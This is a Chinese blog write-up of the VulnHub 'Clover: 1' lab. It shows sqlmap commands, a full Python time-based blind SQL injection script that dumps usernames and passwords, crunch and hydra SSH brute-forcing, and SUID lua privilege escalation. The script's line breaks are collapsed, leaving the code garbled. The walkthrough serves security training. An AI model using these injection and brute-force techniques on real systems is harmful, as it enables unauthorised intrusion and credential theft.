【靶机】vulnhub靶机clover:1
创始人
2024-05-22 17:01:32
0

靶机下载地址:

Clover: 1 ~ VulnHub

靶机ip:192.168.174.145

Kali ip:192.168.174.128

靶机ip发现:sudo arp-scan -l

靶机开放端口扫描

分析:

发现开放了21端口ftp服务,且允许匿名登录

22端口ssh服务

80端口和一些其他的

先对ftp进行查看

查看maintenance目录下的内容

使用get将文件下载下来进行查看。

进行locale文件的解密,猜测是base64,没发现有什么用

进行80端口的扫描

gobuster dir -u http://192.168.174.145 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

查看一些其他的信息后在http://192.168.174.145/website/的源码中发现一些注释信息

进行搜索这个cms

https://paper.bobylive.com/Security/LARES-ColdFusion.pdf

在这里发现这个cms的一些信息

进行目录的查看

使用dirsearch.py进行目录扫描

发现登录界面

测试一下是否存在注入

成功注入登录,但没有得到其他的信息

http://192.168.174.145/CFIDE/Administrator/login.php

发现存在延时注入,因此使用脚本进行爆库,首先使用sqlmap进行尝试,因为是post传参,所以抓包的信息存到文本再使用sqlmap

sqlmap -r test.txt --current-db

可以看到当前的数据库名称

查看数据库的表:sqlmap -r test.txt -D 'clover' –tables

查看列信息sqlmap -r test.txt -D 'clover' -T 'users' –columns

查看username和password的信息

sqlmap -r test.txt -D 'clover' -T 'users' -C 'username,password' –dump

进行md5解密

https://www.somd5.com/

当然  这里也可以使用我们自己的脚本来进行时间注入

自己写的脚本,也可以锻炼动手能力。

这是最终的结果图(最后的范围写小了,没显示全信息)

本人比较菜,脚本写的很拉,sqlmap固然好使,但尝试自己写一下也是不错的。之前用过手工的get传参的时间注入,今天做了post的时间注入,原理相同,request库的使用方式使用的json格式而已,学到了。get传参的时间注入可以在我的另一篇文章sqllibs靶场第十关有分享。

附上代码:

import requests
import string
import sysheaders = {"Content-Type": "application/x-www-form-urlencoded"}
all = string.printable
url = "http://192.168.174.145/CFIDE/Administrator/login.php/"def extract_users():print("[+] Extracting clover dbname length")output = []for n in range(1, 10):payload = {"uname": "a' or if(length(database())>%d,0,sleep(3)) -- a" % n, "pswd": ""}r = requests.post(url, data=payload, headers=headers)if r.elapsed.total_seconds() > 3:length = nprint(length)breakprint("[+] Extracting clover dbname")for i in range(1, length + 1):for char in all:payload = {"uname": "a' or if(ascii(substr(database()," + str(i) + ",1))=" + str(ord(char)) + ",sleep(3),1) -- a","pswd": ""}# print(payload)r = requests.post(url, data=payload, headers=headers)# print(r.request.url)if r.elapsed.total_seconds() > 3:output.append(char)if char == ",":print("")continueprint(char, end='', flush=True)def table_name():output = []print("[+] Extracting clover db table_name")for z in range(0, 9):for i in range(1, 9):for char in '0123456789abcdefghijklmnopqrstuvwxyz,./-+*_':payload = {"uname": "a' or if(substr((select table_name from information_schema.tables "\"where table_schema=database() limit %d,1),%d,1)='%s',sleep(3),1) -- a" % (z, i, char),"pswd": "a"}# print(url+payload)r = requests.post(url, data=payload, headers=headers)# print(r.request.url)if r.elapsed.total_seconds() > 3:output.append(char)if char == ",":print("")continueprint(char, end='', flush=True)def column_name():output = []print("[+] Extracting clover db column_name")for z in range(0,15):for i in range(1,12):for char in '0123456789abcdefghijklmnopqrstuvwxyz\,,./-+*_':# http://127.0.0.1/sql1/Less-9/?id=1' and if(substr((select column_name from information_schema.columns# where table_name='users' limit 0,1),1,1)='s',1,sleep(5))--+payload = {"uname":"a' or if(substr((select column_name from information_schema.columns " \"where table_name='users' limit %d,1),%d,1)='%s',sleep(2),1) -- a" % (z,i,char),"pswd":"a"}# print(url+payload)r = requests.post(url, data=payload, headers=headers)# print(r.request.url)if r.elapsed.total_seconds() > 2:output.append(char)if char == ",":print(",")continueprint(char, end='', flush=True)def list_data():output = []print("[+] Extracting clover db dump password and username")for i in range(1, 200):for char in '0123456789abcdefghijklmnopqrstuvwxyz#,@-+=)(*&*/.!+':payload = {"uname": "a' or if(substr((select group_concat(username,'-',password) from users " \"),%d,1)='%s',sleep(3),1) -- a" % (i, char),"pswd": "a"}# print(url+payload)r = requests.post(url, data=payload, headers=headers)# print(r.request.url)if r.elapsed.total_seconds() > 2:output.append(char)if char == ",":print(",")continueprint(char, end='', flush=True)try:# extract_users()# table_name()# column_name()list_data()
except KeyboardInterrupt:print("")print("[+] Exiting...")sys.exit()

接出来密码我们进行ssh登录

登录成功

使用sudo –l和find / -perm -u=s -type f 2>/dev/null

没发现可以利用的点

发现还有一个用户

尝试上传脚本,权限被拒绝

var目录看到reminder,得到sword的密码

得到密码是12位但是没给后四位

尝试crunch生成字典进行爆破

crunch 12 12 -t ‘P4SsW0Rd%%%%’ > pass.txt

百分号%的意思的用数组进行填充

使用hydra进行ssh爆破

hydra -l sword -P /home/ycx/Desktop/pas1.txt 192.168.174.145 ssh -f -vV -t 10

-t 延时

-f 找到就停止

-vV 输出详细信息

使用sword进行登录

查看具有suid权限的文件查询find / -perm -u=s -type f 2>/dev/null

进入lua界面

提权网站:https://gtfobins.github.io/gtfobins/lua/

成功root

相关内容

热门资讯

公司迎春晚会的主持词 公司迎春晚会的主持词  主持词的写作需要将主题贯穿于所有节目之中。在当今不断发展的世界,主持人在活动...
少儿节目主持词 精选少儿节目主持词4篇  主持词已成为各种演出活动和集会中不可或缺的一部分。随着社会一步步向前发展,...
王家卫电影经典台词 王家卫电影经典台词(精选50句)  我们爱看王家卫的电影,不止爱他所创造的那个光影世界,更爱他电影中...
演唱会主持台词 演唱会主持台词  (甲)尊敬的各位领导,  (乙)各位来宾,  (甲)敬爱的老师,  (乙)亲爱的同...
《你的名字》经典台词 《你的名字》经典台词  你的名字,是谁的心事,还记得你的名字里面的经典台词吗?以下是小编为你精心整理...
教研活动主持词 教研活动主持词  主持人在台上表演的灵魂就表现在主持词中。在当下的中国社会,主持成为很多活动不可或缺...
艺术节主持词开场白 艺术节主持词开场白  什么是艺术节  艺术节是文艺工作者及艺术家、艺术爱好者之间学术交流与学习的重要...
老板在公司年会致辞 老板在公司年会致辞15篇  在平平淡淡的学习、工作、生活中,大家最不陌生的就是致辞了吧,致辞具有针对...
央视春晚主持词台词 央视春晚主持词台词  主持词是主持人在节目进行过程中用于串联节目的串联词。在各种集会、活动不断增多的...
教师节朗诵晚会串词 教师节朗诵晚会串词  主持词需要富有情感,充满热情,才能有效地吸引到观众。在当今不断发展的世界,越来...
趣味运动会主持稿 趣味运动会主持稿(通用7篇)  在充满活力,日益开放的今天,很多地方都会使用到主持稿,主持稿是主持人...
鼠年文艺晚会的主持词 鼠年文艺晚会的主持词  1、喜鹊枝头叫,猴年已来到。好运来报道,健康身边绕。跨羊威武耀,进财装元宝。...
订婚仪式主持词 订婚仪式主持词(通用16篇)  主持词的写作需要将主题贯穿于所有节目之中。在人们积极参与各种活动的今...
文化艺术节闭幕词 文化艺术节闭幕词(精选6篇)  在日新月异的现代社会中,我们都可能会用到闭幕词,闭幕词的作用是辅助讲...
幼儿园签约仪式主持词 幼儿园签约仪式主持词  主持词没有固定的格式,他的最大特点就是富有个性。现今社会在不断向前发展,主持...
电影后来的我们台词 电影后来的我们台词  电影《后来的我们》可以说是风波不断,那么后来的我们经典语录台词有哪些?下面是小...
音乐串词 音乐串词甲:金牛报春来! 又是瑞雪飘飞的季节了,我们打一小学这个大家庭每到这时候总会欢聚一堂。 共庆...
不差钱的经典台词 不差钱的经典台词  赵本山:苏格兰调情。  小沈阳:人家是纯爷们。  丫蛋:洪湖水浪打浪,长江后浪推...
《终结者2》的经典台词 《终结者2》的经典台词  1.I’ll be back。  我会回来的。  2.I need you...
婚宴新娘致辞 婚宴新娘致辞(合集15篇)  无论在学习、工作或是生活中,大家都对致辞很是熟悉吧,在各种重大的庆典、...